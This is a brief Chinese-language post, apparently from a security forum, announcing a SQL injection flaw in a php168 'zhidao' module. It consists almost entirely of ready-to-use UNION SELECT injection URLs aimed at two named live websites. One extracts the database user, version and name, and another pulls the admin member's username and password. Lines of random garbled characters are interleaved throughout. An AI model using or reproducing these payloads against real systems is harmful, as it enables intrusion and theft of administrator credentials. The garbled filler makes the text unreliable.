php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
) N" z  |  }# R) ^$ e: Z  b                                       
8 \  S& c* D6 P
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
7 A; [8 Z& v1 c9 {                                                                  
, D4 v9 Q+ D+ c2 ]3 v$ ^: O                                                        
1 o! m: Y3 ~4 c& k. d2 y7 o$ Ihttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--


6 H  V, [& O8 T- c# t$ ^' J
                                                            

  A  P) A) k' |( f# m# N0 m! chttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
9 ^2 u! @+ @5 `- O1 p5 F
% ]3 v2 k" [( d! I/ H
# D" l7 a5 D0 d# e3 K